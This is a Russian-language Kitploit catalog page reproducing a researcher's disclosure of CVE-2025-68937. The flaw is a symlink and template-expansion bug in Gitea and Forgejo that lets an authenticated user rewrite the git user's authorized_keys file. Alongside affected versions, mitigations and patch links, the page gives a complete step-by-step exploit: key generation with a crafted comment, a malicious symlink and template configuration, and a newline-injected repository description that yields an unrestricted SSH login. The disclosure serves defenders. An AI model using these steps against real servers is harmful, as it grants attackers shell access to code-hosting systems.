Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Gitea-Forgejo-CVE-2025-68937 — Обход каталогов в обработке шаблонов репозитория Gitea и Forgejo позволяет удаленным аутентифицированным злоумышленникам обрабатывать произвольные файлы в файловой системе, что приводит к удаленному выполнению кода. | Kitploit
Инструменты/GitHubGitHub/clemax/gitea-forgejo-cve-2025-68937
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеRed Teaming
GitHubclemax/gitea-forgejo-cve-2025-68937

Gitea-Forgejo-CVE-2025-68937

Обход каталогов в обработке шаблонов репозитория Gitea и Forgejo позволяет удаленным аутентифицированным злоумышленникам обрабатывать произвольные файлы в файловой системе, что приводит к удаленному выполнению кода.

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
6 месяцев назадЕщё не проверено

Уязвимость произвольного расширения шаблонов в Gitea и Forgejo

forgejo-cve CC BY-SA 4.0

Эта работа лицензирована в соответствии с Creative Commons Attribution-ShareAlike 4.0 International License.

CC BY-SA 4.0

Краткое описание

Проверяя исходный код Forgejo и Gitea, чтобы лучше понять, как выполняется шаблонизация, я обнаружил уязвимость, которая позволяет аутентифицированному пользователю создать вредоносный репозиторий шаблонов, который можно использовать для обработки произвольных файлов в файловой системе.

При создании репозитория на основе Git-содержимого вредоносного шаблона, шаблон сможет разворачивать произвольные файлы в файловой системе.

Зная путь к домашней директории пользователя git (по умолчанию /data/git в официальном docker-образе), злоумышленник может развернуть файл .ssh/authorized_keys пользователя git, чтобы внедрить ключ без параметра command, который можно использовать для выполнения произвольных команд или получения интерактивной оболочки.

Технические подробности

Затронутые версии: Gitea >= v1.11.0-rc1 && <= v1.24.6, Forgejo <= v11.0.6 || (>= v12.0.0 && <= v13.0.1)

Затронутый компонент: Репозитории шаблонов

Корневая причина: Разрешение символических ссылок при чтении и записи содержимого файлов шаблонов

Этапы эксплуатации

  1. Злоумышленник аутентифицируется как легитимный пользователь

  2. Злоумышленник создает вредоносный репозиторий шаблонов, содержащий символическую ссылку на предполагаемый файл .ssh/authorized_keys пользователя git и файл .forgejo/template, ссылающийся на эту символическую ссылку

  3. Злоумышленник добавляет открытый ключ ssh в свою учетную запись с пользовательским комментарием, заканчивающимся на ${REPO_DESCRIPTION}

  4. Злоумышленник создает репозиторий, ссылающийся на вредоносный репозиторий шаблонов, с включенным шаблонированием Git-содержимого и описанием, содержащим перевод строки, за которым следует другой открытый ключ ssh

  5. Шаблоны Gitea/Forgejo читают и обрабатывают символическую ссылку authorized_keys, в результате чего комментарий ранее установленного открытого ключа расширяется до произвольной записи, соответствующей описанию репозитория злоумышленника, без параметра command

  6. Злоумышленник входит в систему интерактивно как пользователь git, используя внедренный ключ

Также злоумышленник может повредить файл конфигурации, базу данных SQLite или вызвать отказ в обслуживании, читая огромные файлы.

Смягчение

  • Отключить регистрацию для ненадежных пользователей
  • Отключить создание репозиториев для ненадежных пользователей

Воспроизведение

  1. Установите и настройте уязвимую версию Gitea/Forgejo

  2. Зарегистрируйте или создайте учетную запись для злоумышленника, используя учетную запись администратора

  3. Войдите, используя учетную запись злоумышленника

  4. Сгенерируйте два различных SSH-ключа: один для Git, другой для интерактивного SSH

root@kitploit:~
ssh-keygen -f ~/.ssh/attacker-git -N '' -C '${REPO_DESCRIPTION}'
ssh-keygen -f ~/.ssh/attacker-ssh -N ''
  1. Добавьте содержимое файла ~/.ssh/attacker-git.pub как авторизованный ssh-ключ через интерфейс Gitea/Forgejo

Комментарий ключа должен присутствовать и выглядеть так:

root@kitploit:~
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDaYKtwaiV0e/cbsrsixGOli8zJiQUpPio+Hc/U9Ruuw ${REPO_DESCRIPTION}

Теперь файл .ssh/authorized_keys пользователя git выглядит так:

root@kitploit:~
# gitea public key
command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-2",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDaYKtwaiV0e/cbsrsixGOli8zJiQUpPio+Hc/U9Ruuw ${REPO_DESCRIPTION}
  1. Создайте вредоносный репозиторий шаблонов через интерфейс Gitea/Forgejo

  2. Клонируйте репозиторий шаблонов и добавьте вредоносную символическую ссылку и конфигурацию шаблона

root@kitploit:~
# Clone the template repository
git clone https://localhost:3000/attacker/malicious-template
cd malicious-template

# Create malicious symlink
ln -s /data/git/.ssh/authorized_keys

# When using Gitea, create Gitea template configuration
mkdir .gitea
echo authorized_keys > .gitea/template

# When using Forgejo, create Forgejo template configuration
mkdir .forgejo
echo authorized_keys > .forgejo/template

# Commit and push the changes
git add -A
git commit -m 'Initial commit'

git push
  1. Создайте новый репозиторий, ссылающийся на вредоносный репозиторий шаблонов, с включенным шаблонированием Git-содержимого и описанием, содержащим перевод строки, за которым следует содержимое файла ~/.ssh/attacker-ssh.pub

Описание репозитория должно выглядеть так:

root@kitploit:~
replaced
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMxIBbYKl2r41Xzp+SY8qlWmSmK2IGEylQ3D7GDC8IjH attacker@machine

Слово replaced в первой строке не обязательно, но нужно убедиться, что перевод строки все равно присутствует. Комментарий attacker@machine в конце строки также не обязателен.

Результирующий файл .ssh/authorized_keys пользователя git будет выглядеть так:

root@kitploit:~
# gitea public key
command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-2",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDaYKtwaiV0e/cbsrsixGOli8zJiQUpPio+Hc/U9Ruuw replaced
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOqrtpZdMsU5lXMtV7hnlGnz+ngdnTxYMd9hjCMhrR1n attacker@machine
  1. Подключитесь, используя ключ ~/.ssh/attacker-ssh и клиент ssh
root@kitploit:~
ssh -i ~/.ssh/attacker-ssh git@localhost -p 222

Ссылки

  • Примечания к релизу Gitea
  • Pull request Gitea
  • Примечания к релизу Forgejo 13.0.2
  • Примечания к релизу Forgejo 11.0.7
  • Патч Forgejo
Скачать инструмент